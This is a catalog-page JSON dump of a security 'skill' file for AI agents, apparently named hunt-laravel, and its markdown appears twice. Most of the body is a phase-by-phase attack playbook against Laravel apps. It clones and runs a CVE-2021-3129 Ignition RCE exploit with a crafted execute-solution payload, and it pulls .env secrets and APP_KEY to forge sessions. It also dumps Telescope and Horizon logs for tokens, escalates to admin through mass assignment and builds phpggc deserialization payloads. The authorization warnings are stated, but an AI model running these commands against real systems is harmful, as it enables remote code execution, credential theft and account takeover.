[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6F7GFNP2V2QCZ6P0DQKZ4MP":3,"skill-same:01M6F7GFNP2V2QCZ6P0DQKZ4MP":75},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":43,"linkOnly":44,"markdownContent":45,"markdownBody":46,"frontMatter":47,"refName":30,"commitSha":55,"skillDirectory":56,"forksCount":57,"repositoryHtmlUrl":58,"repositoryHomepageUrl":6,"ownerHtmlUrl":59,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":60,"install":61,"resources":74},"01M6F7GFNP2V2QCZ6P0DQKZ4MP","hunt-laravel",null,"Hunt Laravel specific vulnerabilities","boisenoise\u002Fskills-collections","boisenoise","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F193180?v=4","01M6CDBDQK6BDN55ZMA6B6PKBM","01M6CDBDVSJ3JPTBYN26FZ7TZK",12,"MIT","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-hunt-laravel\u002FSKILL.md",[],[18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42],"hunt laravel","laravel","hunt","only","2026","for","relevant","helper","offensive","scripts","scope","commands","main","community","testing","public","Tools","cve","https","license","database","testing tools","vulnerabilities","security","github","2026-11-10 10:12:30",false,"---\nname: hunt-laravel\ndescription: Hunt Laravel specific vulnerabilities\ncategory: security\nrisk: offensive\nsource: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\nsource_repo: elementalsouls\u002FClaude-BugHunter\nsource_type: community\ndate_added: '2026-09-20'\nlicense: MIT\nlicense_source: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE\ncompatibility: Requires explicit written authorization for a target scope plus the\n  relevant testing tools for this technique. Docs-only; helper scripts and commands\n  not bundled.\nsources: hackerone_public, cve_database\nreport_count: 14\n---\n> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n# HUNT-LARAVEL — Laravel Specific Vulnerabilities\n\n## Crown Jewel Targets\n\nDebug mode can expose sensitive internals. CVE-2021-3129 exploitation additionally depends on the affected Ignition package version, reachable endpoint and required filesystem conditions; debug mode or a Laravel version alone does not establish RCE.\n\n**Highest-value findings:**\n- **Ignition RCE (CVE-2021-3129)** — `APP_DEBUG=true` + Laravel \u003C 8.4.2 → `\u002F_ignition\u002Fexecute-solution` RCE without auth\n- **Telescope dashboard** — `\u002Ftelescope` exposes full request\u002Fresponse logs, DB queries, Redis commands, scheduled jobs, environment variables\n- **Horizon dashboard** — `\u002Fhorizon` exposes queue job details, failed jobs with full payloads (may contain API keys, PII)\n- **Signed URL manipulation** — if `URL::signedRoute` validates wrong params → bypass signed URL → unauthorized actions\n- **.env exposure** — `APP_KEY` leaked → decrypt all encrypted cookies → forge session → ATO\n\n---\n\n## Evidence and tool boundaries\n\nTreat the CVE\u002Fversion and endpoint examples as historical hypotheses; verify the installed vulnerable package and official advisory before testing. Review\u002Fpin any external exploit tree in an isolated directory before execution; the clone command below is not approval to run a moving script or proof its named entrypoint exists. A disclosed APP_KEY does not automatically imply arbitrary-user session forgery: cookie\u002Fsession format, serialization, middleware and key rotation matter. Never print keys or collect real-user sessions; demonstrate only with controlled test accounts and redact minimal evidence. Environment switching\u002Flog manipulation can mutate server behavior and needs specific scope plus cleanup.\n\n## Phase 1 — Fingerprint Laravel\n\n```bash\n# Laravel-specific indicators\ncurl -sI https:\u002F\u002F$TARGET\u002F | grep -i \"laravel_session\\|x-powered-by.*php\"\ncurl -s https:\u002F\u002F$TARGET\u002F | grep -i \"laravel\\|Illuminate\\|csrf-token\"\n\n# Common Laravel paths\nfor path in \u002Fstorage \u002Fpublic \u002Fresources \"\u002Fvendor\u002Flaravel\" \"\u002F.env\" \"\u002Fartisan\"; do\n  STATUS=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"https:\u002F\u002F$TARGET$path\")\n  [ \"$STATUS\" != \"404\" ] && echo \"$path: $STATUS\"\ndone\n\n# Check error page (trigger 404)\ncurl -s \"https:\u002F\u002F$TARGET\u002Fdefinitely-does-not-exist-xyz\" | grep -i \"laravel\\|Whoops\\|Ignition\\|symfony\"\n```\n\n---\n\n## Phase 2 — Debug Mode & Ignition RCE (CVE-2021-3129)\n\n```bash\n# Step 1: Check if debug mode is enabled (Whoops error page)\ncurl -s \"https:\u002F\u002F$TARGET\u002Fnonexistent\" | grep -i \"Whoops\\|APP_DEBUG\\|Ignition\"\n\n# If Whoops\u002FIgnition is visible → debug mode ON → test CVE-2021-3129\n\n# Step 2: Check Ignition endpoint\ncurl -s \"https:\u002F\u002F$TARGET\u002F_ignition\u002Fhealth-check\" | head -5\n\n# Step 3: CVE-2021-3129 — Laravel \u003C 8.4.2 RCE via log file manipulation\n# (Requires debug mode + writable storage\u002Flogs)\n# Tool: ambionics\u002Flaravel-ignition-rce\ngit clone https:\u002F\u002Fgithub.com\u002Fambionics\u002Flaravel-ignition-rce \u002Ftmp\u002Flaravel-rce\nphp \u002Ftmp\u002Flaravel-rce\u002Fexploit.php https:\u002F\u002F$TARGET \"id\"\n\n# Manual test — send solution request\ncurl -s -X POST \"https:\u002F\u002F$TARGET\u002F_ignition\u002Fexecute-solution\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\n    \"solution\": \"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\",\n    \"parameters\": {\n      \"variableName\": \"x\",\n      \"viewFile\": \"php:\u002F\u002Ffilter\u002Fwrite=convert.base64-decode\u002Fresource=..\u002Fstorage\u002Flogs\u002Flaravel.log\"\n    }\n  }'\n```\n\n---\n\n## Phase 3 — Laravel Telescope & Horizon\n\n```bash\n# Telescope — request\u002Fresponse logs, DB queries, jobs, cache, events\ncurl -s \"https:\u002F\u002F$TARGET\u002Ftelescope\" | grep -i \"telescope\\|laravel\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Ftelescope\u002Fapi\u002Frequests\" | python3 -m json.tool 2>\u002Fdev\u002Fnull | head -50\ncurl -s \"https:\u002F\u002F$TARGET\u002Ftelescope\u002Fapi\u002Fcommands\" | python3 -m json.tool 2>\u002Fdev\u002Fnull | head -30\ncurl -s \"https:\u002F\u002F$TARGET\u002Ftelescope\u002Fapi\u002Fredis\" | python3 -m json.tool 2>\u002Fdev\u002Fnull | head -30\ncurl -s \"https:\u002F\u002F$TARGET\u002Ftelescope\u002Fapi\u002Fenvironment\" | python3 -m json.tool 2>\u002Fdev\u002Fnull | head -50\n\n# Horizon — queue worker dashboard\ncurl -s \"https:\u002F\u002F$TARGET\u002Fhorizon\" | grep -i \"horizon\\|laravel\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fhorizon\u002Fapi\u002Fstats\" | python3 -m json.tool 2>\u002Fdev\u002Fnull\ncurl -s \"https:\u002F\u002F$TARGET\u002Fhorizon\u002Fapi\u002Fjobs\u002Ffailed\" | python3 -m json.tool 2>\u002Fdev\u002Fnull | head -50\n# Failed job payloads often contain full request data including auth tokens\n\n# Common paths\nfor path in \u002Ftelescope \u002Ftelescope\u002Frequests \u002Ftelescope\u002Fapi \u002Fhorizon \u002Fhorizon\u002Fapi\u002Fstats; do\n  STATUS=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"https:\u002F\u002F$TARGET$path\")\n  [ \"$STATUS\" = \"200\" ] && echo \"[+] ACCESSIBLE: $TARGET$path\"\ndone\n```\n\n---\n\n## Phase 4 — .env File & APP_KEY Exposure\n\n```bash\n# Direct .env access\ncurl -s \"https:\u002F\u002F$TARGET\u002F.env\" | grep -i \"APP_KEY\\|DB_PASSWORD\\|SECRET\\|KEY\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F.env.production\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F.env.backup\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F.env.local\"\n\n# If APP_KEY found:\nAPP_KEY=\"base64:XXXXXXX\"\necho \"APP_KEY=$APP_KEY\"\n# → Can decrypt all Laravel encrypted cookies\n# → Can forge session cookies → ATO for any user\n\n# Also check\ncurl -s \"https:\u002F\u002F$TARGET\u002Fstorage\u002Flogs\u002Flaravel.log\" | tail -100 | grep -i \"exception\\|error\\|key\\|password\"\n```\n\n---\n\n## Phase 4b — Environment override via query args (CVE-2024-52301)\nWhen `register_argc_argv=On` (php.ini), Laravel parses the query-string as CLI args, so `?--env=` overrides `APP_ENV` over HTTP -> flip the app into `local`\u002F`testing` config (debug on, seeded creds, weaker guards).\n```bash\ncurl -s \"https:\u002F\u002F$TARGET\u002F?--env=local\"          # force debug\u002Flocal config\ncurl -s \"https:\u002F\u002F$TARGET\u002Flogin?--env=testing\"    # swap to testing DB\u002Fconfig\n# Confirm: debug\u002FWhoops page or a different env banner. Fixed 11.31.0 \u002F 10.48.23 \u002F 9.52.17.\n```\n\n## Phase 5 — Signed URL Manipulation\n\n```bash\n# Laravel signed URLs contain signature param: ?signature=HASH\n# Find signed URL endpoints\ncat recon\u002F$TARGET\u002Furls.txt | grep \"signature=\"\n\n# Test: modify a non-signature parameter — should fail validation\nSIGNED_URL=\"https:\u002F\u002F$TARGET\u002Funsubscribe?user=123&email=test@test.com&signature=VALID_SIG\"\n\n# Modify user ID → should fail if properly signed\ncurl -s \"${SIGNED_URL\u002Fuser=123\u002Fuser=999}\"\n\n# Test signature bypass: remove signature entirely\ncurl -s \"${SIGNED_URL\u002F&signature=VALID_SIG\u002F}\"\n\n# Test: does the app validate ALL parameters or just some?\ncurl -s \"${SIGNED_URL}&extra=malicious\"\n```\n\n---\n\n## Phase 6 — Mass Assignment via Eloquent\n\n```bash\n# Laravel Eloquent ORM — if model uses $guarded=[] or $fillable=[] improperly\n# Test: add extra fields to update\u002Fcreate requests\n\n# Profile update\ncurl -s -X POST \"https:\u002F\u002F$TARGET\u002Fapi\u002Fprofile\" \\\n  -H \"Cookie: laravel_session=SESSION\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"name\": \"Test\", \"email\": \"test@test.com\", \"is_admin\": true, \"role\": \"admin\"}'\n\n# Registration\ncurl -s -X POST \"https:\u002F\u002F$TARGET\u002Fapi\u002Fregister\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"name\": \"Test\", \"email\": \"test@new.com\", \"password\": \"test123\", \"verified\": true, \"admin\": 1}'\n```\n\n---\n\n## Phase 7 — Laravel Cookie Deserialization\n\n```bash\n# If APP_KEY is known, forge a session cookie with malicious serialized payload\n# Uses phpggc gadget chains\n\n# Get the app key\nAPP_KEY=$(curl -s \"https:\u002F\u002F$TARGET\u002F.env\" | grep \"^APP_KEY=\" | cut -d= -f2)\n\n# Generate payload with phpggc\nphp phpggc Laravel\u002FRCE5 system 'id' | base64\n\n# Sign the cookie with the app key using laravel-cookie-forge script\n# python3 laravel_cookie_forge.py --key \"$APP_KEY\" --payload \"PHPGGC_PAYLOAD\"\n```\n\n---\n\n## Chain Table\n\n| Laravel finding | Chain to | Impact |\n|----------------|----------|--------|\n| Debug mode ON | CVE-2021-3129 Ignition RCE | Critical RCE |\n| Telescope accessible | Read API keys, DB queries, env vars | High - credential theft |\n| Horizon accessible | Read failed job payloads | High - PII\u002Ftoken exfil |\n| .env exposed with APP_KEY | Forge session cookie → ATO | Critical ATO |\n| Signed URL bypass | Unauthorized actions (unsubscribe any user, etc.) | Medium-High |\n| Mass assignment | Set is_admin=true → privilege escalation | Critical |\n\n---\n\n## Validation\n\n✅ Ignition RCE: `id` command output returned in response\n✅ Telescope: API responses contain DB queries with credentials or user tokens\n✅ APP_KEY: Forged session cookie accepted, returns another user's profile\n✅ Mass assignment: `is_admin: true` accepted, account now has admin privileges\n\n**Severity:**\n- Ignition RCE: Critical\n- Telescope\u002FHorizon with sensitive data: High\n- .env with APP_KEY: Critical\n- Mass assignment to admin: Critical\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n","> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n# HUNT-LARAVEL — Laravel Specific Vulnerabilities\n\n## Crown Jewel Targets\n\nDebug mode can expose sensitive internals. CVE-2021-3129 exploitation additionally depends on the affected Ignition package version, reachable endpoint and required filesystem conditions; debug mode or a Laravel version alone does not establish RCE.\n\n**Highest-value findings:**\n- **Ignition RCE (CVE-2021-3129)** — `APP_DEBUG=true` + Laravel \u003C 8.4.2 → `\u002F_ignition\u002Fexecute-solution` RCE without auth\n- **Telescope dashboard** — `\u002Ftelescope` exposes full request\u002Fresponse logs, DB queries, Redis commands, scheduled jobs, environment variables\n- **Horizon dashboard** — `\u002Fhorizon` exposes queue job details, failed jobs with full payloads (may contain API keys, PII)\n- **Signed URL manipulation** — if `URL::signedRoute` validates wrong params → bypass signed URL → unauthorized actions\n- **.env exposure** — `APP_KEY` leaked → decrypt all encrypted cookies → forge session → ATO\n\n---\n\n## Evidence and tool boundaries\n\nTreat the CVE\u002Fversion and endpoint examples as historical hypotheses; verify the installed vulnerable package and official advisory before testing. Review\u002Fpin any external exploit tree in an isolated directory before execution; the clone command below is not approval to run a moving script or proof its named entrypoint exists. A disclosed APP_KEY does not automatically imply arbitrary-user session forgery: cookie\u002Fsession format, serialization, middleware and key rotation matter. Never print keys or collect real-user sessions; demonstrate only with controlled test accounts and redact minimal evidence. Environment switching\u002Flog manipulation can mutate server behavior and needs specific scope plus cleanup.\n\n## Phase 1 — Fingerprint Laravel\n\n```bash\n# Laravel-specific indicators\ncurl -sI https:\u002F\u002F$TARGET\u002F | grep -i \"laravel_session\\|x-powered-by.*php\"\ncurl -s https:\u002F\u002F$TARGET\u002F | grep -i \"laravel\\|Illuminate\\|csrf-token\"\n\n# Common Laravel paths\nfor path in \u002Fstorage \u002Fpublic \u002Fresources \"\u002Fvendor\u002Flaravel\" \"\u002F.env\" \"\u002Fartisan\"; do\n  STATUS=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"https:\u002F\u002F$TARGET$path\")\n  [ \"$STATUS\" != \"404\" ] && echo \"$path: $STATUS\"\ndone\n\n# Check error page (trigger 404)\ncurl -s \"https:\u002F\u002F$TARGET\u002Fdefinitely-does-not-exist-xyz\" | grep -i \"laravel\\|Whoops\\|Ignition\\|symfony\"\n```\n\n---\n\n## Phase 2 — Debug Mode & Ignition RCE (CVE-2021-3129)\n\n```bash\n# Step 1: Check if debug mode is enabled (Whoops error page)\ncurl -s \"https:\u002F\u002F$TARGET\u002Fnonexistent\" | grep -i \"Whoops\\|APP_DEBUG\\|Ignition\"\n\n# If Whoops\u002FIgnition is visible → debug mode ON → test CVE-2021-3129\n\n# Step 2: Check Ignition endpoint\ncurl -s \"https:\u002F\u002F$TARGET\u002F_ignition\u002Fhealth-check\" | head -5\n\n# Step 3: CVE-2021-3129 — Laravel \u003C 8.4.2 RCE via log file manipulation\n# (Requires debug mode + writable storage\u002Flogs)\n# Tool: ambionics\u002Flaravel-ignition-rce\ngit clone https:\u002F\u002Fgithub.com\u002Fambionics\u002Flaravel-ignition-rce \u002Ftmp\u002Flaravel-rce\nphp \u002Ftmp\u002Flaravel-rce\u002Fexploit.php https:\u002F\u002F$TARGET \"id\"\n\n# Manual test — send solution request\ncurl -s -X POST \"https:\u002F\u002F$TARGET\u002F_ignition\u002Fexecute-solution\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\n    \"solution\": \"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\",\n    \"parameters\": {\n      \"variableName\": \"x\",\n      \"viewFile\": \"php:\u002F\u002Ffilter\u002Fwrite=convert.base64-decode\u002Fresource=..\u002Fstorage\u002Flogs\u002Flaravel.log\"\n    }\n  }'\n```\n\n---\n\n## Phase 3 — Laravel Telescope & Horizon\n\n```bash\n# Telescope — request\u002Fresponse logs, DB queries, jobs, cache, events\ncurl -s \"https:\u002F\u002F$TARGET\u002Ftelescope\" | grep -i \"telescope\\|laravel\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Ftelescope\u002Fapi\u002Frequests\" | python3 -m json.tool 2>\u002Fdev\u002Fnull | head -50\ncurl -s \"https:\u002F\u002F$TARGET\u002Ftelescope\u002Fapi\u002Fcommands\" | python3 -m json.tool 2>\u002Fdev\u002Fnull | head -30\ncurl -s \"https:\u002F\u002F$TARGET\u002Ftelescope\u002Fapi\u002Fredis\" | python3 -m json.tool 2>\u002Fdev\u002Fnull | head -30\ncurl -s \"https:\u002F\u002F$TARGET\u002Ftelescope\u002Fapi\u002Fenvironment\" | python3 -m json.tool 2>\u002Fdev\u002Fnull | head -50\n\n# Horizon — queue worker dashboard\ncurl -s \"https:\u002F\u002F$TARGET\u002Fhorizon\" | grep -i \"horizon\\|laravel\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fhorizon\u002Fapi\u002Fstats\" | python3 -m json.tool 2>\u002Fdev\u002Fnull\ncurl -s \"https:\u002F\u002F$TARGET\u002Fhorizon\u002Fapi\u002Fjobs\u002Ffailed\" | python3 -m json.tool 2>\u002Fdev\u002Fnull | head -50\n# Failed job payloads often contain full request data including auth tokens\n\n# Common paths\nfor path in \u002Ftelescope \u002Ftelescope\u002Frequests \u002Ftelescope\u002Fapi \u002Fhorizon \u002Fhorizon\u002Fapi\u002Fstats; do\n  STATUS=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"https:\u002F\u002F$TARGET$path\")\n  [ \"$STATUS\" = \"200\" ] && echo \"[+] ACCESSIBLE: $TARGET$path\"\ndone\n```\n\n---\n\n## Phase 4 — .env File & APP_KEY Exposure\n\n```bash\n# Direct .env access\ncurl -s \"https:\u002F\u002F$TARGET\u002F.env\" | grep -i \"APP_KEY\\|DB_PASSWORD\\|SECRET\\|KEY\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F.env.production\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F.env.backup\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F.env.local\"\n\n# If APP_KEY found:\nAPP_KEY=\"base64:XXXXXXX\"\necho \"APP_KEY=$APP_KEY\"\n# → Can decrypt all Laravel encrypted cookies\n# → Can forge session cookies → ATO for any user\n\n# Also check\ncurl -s \"https:\u002F\u002F$TARGET\u002Fstorage\u002Flogs\u002Flaravel.log\" | tail -100 | grep -i \"exception\\|error\\|key\\|password\"\n```\n\n---\n\n## Phase 4b — Environment override via query args (CVE-2024-52301)\nWhen `register_argc_argv=On` (php.ini), Laravel parses the query-string as CLI args, so `?--env=` overrides `APP_ENV` over HTTP -> flip the app into `local`\u002F`testing` config (debug on, seeded creds, weaker guards).\n```bash\ncurl -s \"https:\u002F\u002F$TARGET\u002F?--env=local\"          # force debug\u002Flocal config\ncurl -s \"https:\u002F\u002F$TARGET\u002Flogin?--env=testing\"    # swap to testing DB\u002Fconfig\n# Confirm: debug\u002FWhoops page or a different env banner. Fixed 11.31.0 \u002F 10.48.23 \u002F 9.52.17.\n```\n\n## Phase 5 — Signed URL Manipulation\n\n```bash\n# Laravel signed URLs contain signature param: ?signature=HASH\n# Find signed URL endpoints\ncat recon\u002F$TARGET\u002Furls.txt | grep \"signature=\"\n\n# Test: modify a non-signature parameter — should fail validation\nSIGNED_URL=\"https:\u002F\u002F$TARGET\u002Funsubscribe?user=123&email=test@test.com&signature=VALID_SIG\"\n\n# Modify user ID → should fail if properly signed\ncurl -s \"${SIGNED_URL\u002Fuser=123\u002Fuser=999}\"\n\n# Test signature bypass: remove signature entirely\ncurl -s \"${SIGNED_URL\u002F&signature=VALID_SIG\u002F}\"\n\n# Test: does the app validate ALL parameters or just some?\ncurl -s \"${SIGNED_URL}&extra=malicious\"\n```\n\n---\n\n## Phase 6 — Mass Assignment via Eloquent\n\n```bash\n# Laravel Eloquent ORM — if model uses $guarded=[] or $fillable=[] improperly\n# Test: add extra fields to update\u002Fcreate requests\n\n# Profile update\ncurl -s -X POST \"https:\u002F\u002F$TARGET\u002Fapi\u002Fprofile\" \\\n  -H \"Cookie: laravel_session=SESSION\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"name\": \"Test\", \"email\": \"test@test.com\", \"is_admin\": true, \"role\": \"admin\"}'\n\n# Registration\ncurl -s -X POST \"https:\u002F\u002F$TARGET\u002Fapi\u002Fregister\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"name\": \"Test\", \"email\": \"test@new.com\", \"password\": \"test123\", \"verified\": true, \"admin\": 1}'\n```\n\n---\n\n## Phase 7 — Laravel Cookie Deserialization\n\n```bash\n# If APP_KEY is known, forge a session cookie with malicious serialized payload\n# Uses phpggc gadget chains\n\n# Get the app key\nAPP_KEY=$(curl -s \"https:\u002F\u002F$TARGET\u002F.env\" | grep \"^APP_KEY=\" | cut -d= -f2)\n\n# Generate payload with phpggc\nphp phpggc Laravel\u002FRCE5 system 'id' | base64\n\n# Sign the cookie with the app key using laravel-cookie-forge script\n# python3 laravel_cookie_forge.py --key \"$APP_KEY\" --payload \"PHPGGC_PAYLOAD\"\n```\n\n---\n\n## Chain Table\n\n| Laravel finding | Chain to | Impact |\n|----------------|----------|--------|\n| Debug mode ON | CVE-2021-3129 Ignition RCE | Critical RCE |\n| Telescope accessible | Read API keys, DB queries, env vars | High - credential theft |\n| Horizon accessible | Read failed job payloads | High - PII\u002Ftoken exfil |\n| .env exposed with APP_KEY | Forge session cookie → ATO | Critical ATO |\n| Signed URL bypass | Unauthorized actions (unsubscribe any user, etc.) | Medium-High |\n| Mass assignment | Set is_admin=true → privilege escalation | Critical |\n\n---\n\n## Validation\n\n✅ Ignition RCE: `id` command output returned in response\n✅ Telescope: API responses contain DB queries with credentials or user tokens\n✅ APP_KEY: Forged session cookie accepted, returns another user's profile\n✅ Mass assignment: `is_admin: true` accepted, account now has admin privileges\n\n**Severity:**\n- Ignition RCE: Critical\n- Telescope\u002FHorizon with sensitive data: High\n- .env with APP_KEY: Critical\n- Mass assignment to admin: Critical\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n",{"name":5,"risk":26,"source":48,"license":14,"sources":49,"category":41,"date_added":50,"description":7,"source_repo":51,"source_type":31,"report_count":52,"compatibility":53,"license_source":54},"https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter","hackerone_public, cve_database","2026-09-20","elementalsouls\u002FClaude-BugHunter",14,"Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.","https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE","7bf2279c8a65758319526a721d5c4b75683aec9c","skills\u002Fantigravity-hunt-laravel",3,"https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections","https:\u002F\u002Fgithub.com\u002Fboisenoise","2026-11-10 14:20:15",{"source":8,"skillName":5,"commands":62,"prompt":72,"zipAvailable":73},[63,66,69],{"tool":64,"command":65},"npx","npx skills add boisenoise\u002Fskills-collections --skill hunt-laravel",{"tool":67,"command":68},"bunx","bunx skills add boisenoise\u002Fskills-collections --skill hunt-laravel",{"tool":70,"command":71},"pnpm","pnpm dlx skills add boisenoise\u002Fskills-collections --skill hunt-laravel","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-hunt-laravel\u002FSKILL.md",true,[],[76,103,129,153,171,194],{"skillNo":77,"name":78,"nameZh":6,"description":79,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":80,"licenseFileUrl":81,"sourceHtmlUrl":82,"categories":83,"keywords":84,"publishedAt":43},"01M6WNH92BHVFXHGPDZCPJ0AG0","web-access","Use Treg for public web or platform data only when existing search, browser and connected tools cannot cover the task, with explicit cost and data boundaries.","Apache-2.0","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-web-access\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-web-access\u002FSKILL.md",[],[85,86,87,88,89,90,91,92,34,93,94,21,95,96,97,98,99,100,101,102,22],"web","access","web access","official","development","browser","search","data","read","fetch","youtube","free tools","platform","critical","free","cover","normal","when",{"skillNo":104,"name":105,"nameZh":6,"description":106,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":80,"licenseFileUrl":107,"sourceHtmlUrl":108,"categories":109,"keywords":115,"publishedAt":43},"01M6WNF9XAYAB2CZDDJBAKNM93","treg","Use the Treg CLI or MCP catalog to discover, price and call authorized external tools with team-scoped credentials and a user-approved budget.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-treg\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-treg\u002FSKILL.md",[110],{"categoryNo":111,"categoryName":112,"taxonomyType":113,"taxonomyTypeDesc":114},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[105,116,117,42,88,89,37,34,118,119,120,121,122,123,124,98,125,126,127,128,22],"MCP","cli","Budget","credentials","team","catalog","use","call","discover","external tools","with","scoped","blob",{"skillNo":130,"name":131,"nameZh":6,"description":132,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":80,"licenseFileUrl":133,"sourceHtmlUrl":134,"categories":135,"keywords":141,"publishedAt":43},"01M6WN93MEAZ4E41DYAHJRPHQT","recruit","Turn a job description into an evidence-linked candidate shortlist through Treg, with job-related ranking and optional authorized business contact 